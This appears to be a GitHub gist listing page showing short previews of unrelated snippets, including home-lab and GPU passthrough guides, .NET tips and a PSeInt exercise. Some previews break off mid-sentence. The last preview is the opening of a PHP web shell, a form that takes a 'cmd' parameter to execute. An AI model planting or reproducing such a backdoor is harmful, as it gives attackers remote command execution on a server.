Para empezar el curso, les dejo una lista de las instalaciones generales que les recomiendo.
Discover gists
What this is: a build-it-yourself guide for turning one or two old computers into a proper home lab: virtual machines, containers, a shared storage box your whole house can use, and a full media library stack (Jellyfin, the download manager apps, and where the files come from), plus how to reach it from outside your house safely.
Who this is for: you have an old desktop or two, you can follow instructions, and you have never touched a hypervisor. No Linux experience assumed. Every command and every screen is explained, and each step tells you what you should see before you move on.
Time: about 1 hour for the first box (Proxmox), 45 minutes for the storage box (TrueNAS), plus however long your data takes to copy. Most of it is waiting.
The single most important thing in this guide: give every box a fixed IP address so it never moves. Everything else you can fix later by reading a screen. If a machine changes address,
| Algoritmo DatoEstudiante | |
| Definir nombre Como Caracter; | |
| Definir edad Como Entero; | |
| Definir promedio Como Real; | |
| Definir matriculado Como Logico; | |
| Escribir "Ingrese el nombre del estudiante:"; | |
| Leer nombre; | |
| Escribir "Ingrese la edad del estudiante:"; | |
| Leer edad; | |
| Escribir "Ingrese el promedio académico (use punto para decimales, ej: 4.5):"; |
A step-by-step, click-and-paste guide to passing a discrete PCIe GPU from a Proxmox 9 host into a Linux VM and using it for Jellyfin hardware transcoding inside a Docker container.
Target setup
- Host: Proxmox VE 9 (Debian Trixie–based)
- Guest: a Linux VM (Ubuntu 24.04 / Debian 12 used here) running Docker
- App: a single Jellyfin container that wants
/dev/dri/renderD128 - GPU: any modern discrete card — Intel Arc, NVIDIA, AMD. Examples below use an Intel Arc A380 (
8086:56a5); substitute your own vendor:device ID.
Target: .NET 10 (LTS) · C# 14 · Last updated March 2026
This guide is a curated set of 100 performance rules, tips, and idioms every developer on this project must know. Each entry is concise and actionable. Entries marked 🆕 leverage features new in .NET 10 / C# 14.
A self-hosted, compounding-memory AI assistant running on a Raspberry Pi.
NanoClaw is a personal AI assistant built on Anthropic's Claude that runs entirely on a Raspberry Pi. It connects to messaging channels (WhatsApp, Telegram, Slack, Discord), processes voice and images, schedules recurring tasks, and — unlike a standard chatbot — accumulates knowledge over time through a structured memory system.
| /* | |
| This file contains definitions used by the Hex-Rays decompiler output. | |
| It has type definitions and convenience macros to make the | |
| output more readable. | |
| Copyright (c) 2007-2017 Hex-Rays | |
| */ |
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |

